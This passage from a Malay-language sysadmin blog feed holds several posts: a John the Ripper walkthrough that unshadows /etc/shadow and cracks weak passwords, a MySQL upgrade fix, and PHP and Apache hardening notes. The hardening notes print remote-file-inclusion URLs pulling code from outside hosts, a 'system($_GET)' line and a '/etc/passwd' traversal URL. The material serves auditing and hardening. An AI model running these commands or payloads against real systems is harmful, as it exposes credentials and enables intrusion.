Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  /usr/bin/unshadow /etc/passwd /etc/shadow &amp;gt;  /tmp/crack.password.db&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Pindah  fail ke server lain untuk dibuat semakan kelemahan kata laluan  &lt;i&gt;(Kaedah Brute Force Crack ini menggunakan resource CPU yang  tinggi, server khas untuk aktiviti semakan diperlukan)&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  scp user1@10.10.10&lt;/b&gt;&lt;b&gt;.&lt;/b&gt;&lt;b&gt;xx&lt;/b&gt;&lt;b&gt;:/tmp/crack.password.db  &lt;/b&gt;&lt;b&gt;user&lt;/b&gt;&lt;b&gt;2&lt;/b&gt;&lt;b&gt;@10.10.10.&lt;/b&gt;&lt;b&gt;yy&lt;/b&gt;&lt;b&gt;:/&lt;/b&gt;&lt;b&gt;home/user&lt;/b&gt;&lt;b&gt;2&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Login  ke server &lt;span style="font-weight: normal;"&gt;(&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;10.10.10.&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;yy)&lt;/span&gt;  untuk semakan menggunakan pengguna server &lt;b&gt;(cth : user&lt;/b&gt;&lt;b&gt;2&lt;/b&gt;&lt;b&gt;)&lt;/b&gt;  melalui SSH. Kemudian login sebagai pengguna root dengan menaip &lt;/span&gt;&lt;/span&gt;  &lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  su&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;  &lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;seterusnya  diikuti kata laluan pengguna root.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Laksana  brute force crack pada fail password yang telah disalin. Proses ini  akan mengambil masa agak lama sedikit untuk selesai.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;# john /home/user2/crack.password.db&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Output :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;john  /home/user2/crack.password.db&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Loaded 1 password (FreeBSD MD5 [32/32])&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Sekiranya kita interrupt semasa proses ini dilaksanakan dan ingin sambung semula :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;$ john -restore /home/user2/crack.password.db &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol start="7"&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Setelah  siap laksana brute force crack, paparkan senarai pengguna yang  mempunyai kata laluan yang lemah.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;$ john -show /home/user2/crack.password.db &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Output :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;test:123456:1002:1002:test,,,:/home/test:/bin/bash&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;didi:abc123:1003:1003::/home/didi:/usr/bin/rssh&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ol start="7"&gt;&lt;pre style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;2 passwords cracked, 1 left&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;(Setiap oktet dipisahkan oleh ':'. Oktet pertama adalah nama pengguna, oktet kedua adalah kata laluan yang lemah)&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Jika Fail output terlalu besar dan banyak, pindahkan keputusan kepada fail lain.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;&lt;b&gt;$ john -show /home/user2/crack.password.db &amp;gt; cp.txt&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;li&gt;&lt;pre style="font-style: normal; font-weight: normal; text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Terdapat beberapa arahan lain yang boleh dilaksanakan dalam perisian ini. Sila rujuk URL&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="font-style: normal; font-weight: normal; text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;berikut : http://www.openwall.com/john/doc/EXAMPLES.shtml&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Semoga Berjaya..&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-3971828898113390718?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/3971828898113390718/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=3971828898113390718&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3971828898113390718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3971828898113390718'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/11/check-for-weak-unix-users-password.html' title='Check For Weak Unix User&apos;s Password'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/TPTQIoqKx3I/AAAAAAAAAqQ/aTYUZAMpCB0/s72-c/jack.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4174292306584477364</id><published>2010-11-18T11:57:00.001+08:00</published><updated>2011-01-04T14:29:53.393+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>Tips to Upgrade to MySQL Community Server 5.5.7 RC</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TOSkHyMqKHI/AAAAAAAAAqM/57W5nBM32ms/s1600/mysql_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TOSkHyMqKHI/AAAAAAAAAqM/57W5nBM32ms/s1600/mysql_logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Bebaru ni aku upgrade mysql di server kepada versi community terbaru.&lt;br /&gt;Namun berlaku beberapa masalah dari segi capaian kepada mysql setelah di upgrade menggunakan yum dan repo remi-test.&lt;br /&gt;&lt;br /&gt;servis mysql tetiba stop.&lt;br /&gt;&lt;br /&gt;Langkah baik untuk upgrade adalah seperti berikut :&lt;br /&gt;&lt;br /&gt;1) Buat backup bagi semua data dalam mysql sebelum di upgrade (AMAT digalakkan)&lt;br /&gt;2) Jadi aku pun upgrade kepada versi terkini guna yum :&lt;br /&gt;# yum --enablerepo remi-test update mysql-server&lt;br /&gt;&lt;br /&gt;Tetiba kuar error ni bila aku tengok dalam log mysql (/var/log/mysqld.log) :&lt;br /&gt;[ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.proxies_priv' doesn't exist)&lt;br /&gt;&lt;br /&gt;3) Rupenye untuk versi baru ni kena buat mysql_upgrade secara manual dan ianya adalah wajib dilaksanakan.&lt;br /&gt;&lt;br /&gt;Mula-mula run command ni :&lt;br /&gt;# start in rescue mode (with --skip-grant-tables and --skip-networking options)&lt;br /&gt;service mysqld startsos&lt;br /&gt;&lt;br /&gt;Lepas tu command ni :&lt;br /&gt;mysql_upgrade -u root -p&lt;br /&gt;kemudian masukkan password root&lt;br /&gt;&lt;br /&gt;Then command ni :&lt;br /&gt;# re-launch in normal mode&lt;br /&gt;service mysqld restart&lt;br /&gt;&lt;br /&gt;4) Alhamdulillah service mysql kembali normal&lt;br /&gt;&lt;br /&gt;Semoga berjaya.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4174292306584477364?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4174292306584477364/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4174292306584477364&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4174292306584477364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4174292306584477364'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/11/tips-to-upgrade-to-mysql-community.html' title='Tips to Upgrade to MySQL Community Server 5.5.7 RC'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TOSkHyMqKHI/AAAAAAAAAqM/57W5nBM32ms/s72-c/mysql_logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-95984033888905527</id><published>2010-10-21T10:52:00.002+08:00</published><updated>2011-01-20T09:18:49.877+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>PHP Hardening</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TL-qzult1tI/AAAAAAAAAqI/W1somJ2GLU0/s1600/appengine-java-php.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TL-qzult1tI/AAAAAAAAAqI/W1somJ2GLU0/s400/appengine-java-php.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Lagi kongsi Nota dari Konti Kelas INTANBK.&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;Web Apps : PHP 5.2.x / 5.3.x&lt;br /&gt;&lt;br /&gt;1) Halang dari PHP Remote File Inclusion&lt;br /&gt;- Ia mampu guna kelemahan php include / require untuk panggil fail backdor dari website luar&lt;br /&gt;- contoh :&lt;br /&gt;&lt;pre&gt;include($base_path . "/foo.php"); &lt;/pre&gt;- Kaedah query : &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo=&amp;nbsp;&lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;- contoh : (use register global)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;include($_REQUEST['own_me'] . '/foo.php');&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;- Kaedah Query :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://lwn.net/Articles//master.php?root_path=http://webstorch.com//cap.txt?&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;- Antivirus tak dapat detect virus backdoor dalam linux&lt;br /&gt;- Kaedah nak semak sebarang fail backdoor :&lt;br /&gt;&amp;gt; sort tarikh fail&lt;br /&gt;&amp;gt; cari fail pelik&lt;br /&gt;&amp;gt; cari fail bersaiz pelik&lt;br /&gt;&lt;br /&gt;Solution :&lt;br /&gt;Ubah dalam fail /etc/php.ini&lt;br /&gt;allow_url_fopen = Off&lt;br /&gt;&lt;br /&gt;2) Safe Mode&lt;br /&gt;- Execute program luar dan display hasilnya dalam sistem&lt;br /&gt;- contoh :&lt;br /&gt;system($_GET('cmd')&lt;br /&gt;&lt;br /&gt;Solution : &lt;br /&gt;Ubah dalam /etc/php.ini&lt;br /&gt;Safe_mode = on&lt;br /&gt;&lt;br /&gt;* Dalam Joomla akan problem apabila onkan kerana ia gunakan 'mysql_connect' untuk connect ke database. Alternatif gunakan 'mysqli'&lt;br /&gt;&lt;br /&gt;3) File Upload&lt;br /&gt;- Ubah kepada berikut :&lt;br /&gt;file_uploads = Off&lt;br /&gt;fck_editor dalam joomla ada vulnerable, alternatif adalah guna ck_editor&lt;br /&gt;- Jika ada guna upload fail, jangan disablekan fungsi ini&lt;br /&gt;&lt;br /&gt;4) Short Open Tag&lt;br /&gt;- Contoh :&lt;br /&gt;&lt;br /&gt;- Baru : &lt;br /&gt;&lt;br /&gt;- ubah kepada berikut :&lt;br /&gt;short_open_tag = Off&lt;br /&gt;&lt;br /&gt;5) Error Reporting&lt;br /&gt;- Bagi elakkan paparan error ditunjukkan di sistem. Ia memudahkan hackerz untuk kenalpasti kelemahan pada server dan dapatkan maklumat asas.&lt;br /&gt;- ubah kepada berikut :&lt;br /&gt;display_errors = Off&lt;br /&gt;&lt;br /&gt;6) magic_quotes_gpc&lt;br /&gt;- Fungsi ianya on adalah bila ada (') ia akan ganti dengan ('\')&lt;br /&gt;- Sistem yang guna magic quotes sekiranya guna di server yang disetkan off, maka akan jadi vulnerable pula kepada sistem&lt;br /&gt;- PHP 6 dah tiada penggunakan magic quotes&lt;br /&gt;- Ubah kepada berikut :&lt;br /&gt;magic_quotes_gpc = Off&lt;br /&gt;&lt;br /&gt;7) Connect to Database&lt;br /&gt;- Default menggunakan mysql_connect&lt;br /&gt;- Kini guna 'mysqli' dan ianya lebih selamat&lt;br /&gt;&lt;br /&gt;8) Hide PHP Version (Baru dapat tau ni)&lt;br /&gt;- Default : expose_php = On&lt;br /&gt;- Tukar kepada : expose_php = Off&lt;br /&gt;&lt;br /&gt;- Dari Result begini apabila check version : X-Powered-By: PHP/5.1.2-1&lt;br /&gt;- Kepada result begini : X-Powered-By: 12321&lt;br /&gt;&lt;br /&gt;Semoga Berjaya!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-95984033888905527?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/95984033888905527/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=95984033888905527&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/95984033888905527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/95984033888905527'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/php-hardening.html' title='PHP Hardening'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TL-qzult1tI/AAAAAAAAAqI/W1somJ2GLU0/s72-c/appengine-java-php.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4109696816432413292</id><published>2010-10-19T11:05:00.005+08:00</published><updated>2011-01-20T09:28:10.218+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>Apache / HTTPD Hardening</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/TL0Ke9B1L5I/AAAAAAAAAqE/2Cb4RqfsSqs/s1600/AH_-_64D_Apache_Fire_Control_Radar.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/TL0Ke9B1L5I/AAAAAAAAAqE/2Cb4RqfsSqs/s640/AH_-_64D_Apache_Fire_Control_Radar.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Lagi nota dari INTANBK untuk dikongsi bersama.&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;&lt;br /&gt;1) Buka file httpd.conf&lt;br /&gt;# nano /etc/httpd/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;2) Halang Directory Listing&lt;br /&gt;Ubah kepada berikut :&lt;br /&gt;Options -Indexes FollowSymLinks&lt;br /&gt;&lt;br /&gt;3) Halang Directory Traversal&lt;br /&gt;Ubah kepada berikut :&lt;br /&gt;Options -Indexes -FollowSymLinks&lt;br /&gt;&lt;br /&gt;Kaedah Directory Traversal :&lt;br /&gt;- Gunakan kelemahan pada coding include untuk baca fail lain&lt;br /&gt;- cth : httpd://localhost/itsec/dir.php?file=../../../../etc/passwd&lt;br /&gt;- Ia akan dapat view semua user dalam server.&lt;br /&gt;- root:x:0:0:root:/root:/bin/bash&lt;br /&gt;- column pertama bermaksud nama user, column kedua 'x' bermaksud ada password ditetapkan, column terakhir bermaksud fungsi user boleh menggunakan bash command line&lt;br /&gt;- Sekiranya hackerz tahu sebarang user yang tiada set password dan fungsi user tersebut boleh laksana command line maka ini memberi risiko besar kepada server tersebut.&lt;br /&gt;&lt;br /&gt;3) Halang Server Token&lt;br /&gt;- kenalpasti versi web server dan OS apa digunakan oleh server tersebut&lt;br /&gt;- Ia membantu hackerz kenalpasti kelemahan pada versi tersebut&lt;br /&gt;- Bagi xampp by default ia akan setkan sebagai full&lt;br /&gt;&lt;br /&gt;ServerTokens Prod[uctOnly]&lt;br /&gt;&lt;br /&gt;ServerTokens Major&lt;br /&gt;Result : Server: Apache/2&lt;br /&gt;&lt;br /&gt;ServerTokens Minor&lt;br /&gt;Result : Server: Apache/2.0&lt;br /&gt;&lt;br /&gt;ServerTokens Min[imal]&lt;br /&gt;Result : Server: Apache/2.0.41&lt;br /&gt;&lt;br /&gt;ServerTokens OS&lt;br /&gt;Result : Server: Apache/2.0.41 (Unix)&lt;br /&gt;&lt;br /&gt;ServerTokens Full (or not specified)&lt;br /&gt;Result : Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2&lt;br /&gt;&lt;br /&gt;Ubah kepada berikut :&lt;br /&gt;ServerToken prod&lt;br /&gt;&lt;br /&gt;Kaedah ujian :&lt;br /&gt;Taip berikut di command line : # Telnet &lt;ip&gt; 80 &lt;br /&gt;Tekan ENTER&lt;br /&gt;Taip OPTIONS * HTTP/1.0&lt;br /&gt;Tekan ENTER&lt;br /&gt;&lt;br /&gt;Result :&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Tue, 19 Oct 2010 02:50:43 GMT&lt;br /&gt;Server: Apache/2.2.16 (EL)&lt;br /&gt;Content-Length: 0&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/plain; charset=UTF-8&lt;br /&gt;&lt;br /&gt;4) Tetapkan web server agar bind kepada spesifik ip.&lt;br /&gt;Ubah kepada berikut :&lt;br /&gt;Listen x.x.x.x:80&lt;br /&gt;&lt;br /&gt;Jika web server berfungsi untuk semua, maka tetapkan kepada :&lt;br /&gt;Listen 80&lt;br /&gt;&lt;br /&gt;5) Disable mana-mana LoadModule yang tidak digunakan&lt;br /&gt;- mod_proxy //disablekan&lt;br /&gt;- Untuk rujukan dan semakan boleh tengok site berikut :&lt;br /&gt;http://httpd.apache.org/docs/2.0/mod/&lt;br /&gt;&lt;br /&gt;6) User dan Group bagi folder di www perlulah di setkan dengan user yang mempunyai limited access dan tidak sama group dengan root&lt;br /&gt;&lt;br /&gt;7) Serveradmin // emel admin&lt;br /&gt;- ada pro dan kontra untuk enable dan disable fungsi ini.&lt;br /&gt;- pro memudahkan pengguna sistem membuat aduan berkaitan server&lt;br /&gt;- kontra adalah emel boleh digunakan untuk hantar spam mail&lt;br /&gt;&lt;br /&gt;8) Servername&lt;br /&gt;- Letak lagi bagus agar tahu identity server&lt;br /&gt;&lt;br /&gt;9) mod_rewrite&lt;br /&gt;- Perlu di enable untuk disable TRACE dan TRACK&lt;br /&gt;- Tambah berikut di bahagian bawah file httpd.conf :&lt;br /&gt;----------------------------------------------&lt;br /&gt;RewriteEngine on&lt;br /&gt;RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)&lt;br /&gt;RewriteRule .* - [F]&lt;br /&gt;----------------------------------------------&lt;br /&gt;&lt;br /&gt;10) Error Log dan Custom Log perlulah dienablekan untuk memudahkan membuat kerja auditing pada masa akan datang&lt;br /&gt;&lt;br /&gt;11) ServerSignature&lt;br /&gt;- Default - On&lt;br /&gt;- Tukar kepada - Off&lt;br /&gt;&lt;br /&gt;12) Disable WebDAV&lt;br /&gt;- Default httpd.conf telah disable&lt;br /&gt;- WebDAV digunakan oleh FrontPage untuk upload file server&lt;br /&gt;- Semak guna telnet dan kesan result berikut :&lt;br /&gt;Result : PUT, COPY, DEL, MKDIR&lt;br /&gt;&lt;/ip&gt;&lt;br /&gt;&lt;br /&gt;&lt;ip&gt;13) Deny Access To Certain File Types&lt;/ip&gt;&lt;br /&gt;&lt;ip&gt;Ini adalah contoh Block access kepada fail .htaccess shj&lt;/ip&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TTeOOFPSeEI/AAAAAAAAArE/KQ3_1W_3Ass/s1600/p1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TTeOOFPSeEI/AAAAAAAAArE/KQ3_1W_3Ass/s1600/p1.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ip&gt;&lt;br /&gt;&lt;/ip&gt;&lt;br /&gt;&lt;ip&gt;&lt;/ip&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ip&gt;Ini pula adalah contoh block acces kepada beberapa fail yang mempunyai extension .inc&lt;/ip&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TTeOO4-33kI/AAAAAAAAArI/Cwk3vQ_3kUM/s1600/p2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TTeOO4-33kI/AAAAAAAAArI/Cwk3vQ_3kUM/s1600/p2.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ip&gt; &lt;/ip&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ip&gt;Semoga berjaya&lt;br /&gt;&lt;br /&gt;Rujukan lain : http://httpd.apache.org/docs/2.0/misc/security_tips.html&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;/ip&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4109696816432413292?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4109696816432413292/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4109696816432413292&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4109696816432413292'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4109696816432413292'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/apache-httpd-hardening.html' title='Apache / HTTPD Hardening'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/TL0Ke9B1L5I/AAAAAAAAAqE/2Cb4RqfsSqs/s72-c/AH_-_64D_Apache_Fire_Control_Radar.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2284934442997356598</id><published>2010-10-12T18:49:00.001+08:00</published><updated>2010-10-19T09:27:17.838+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to minimize Web Server Installation</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: 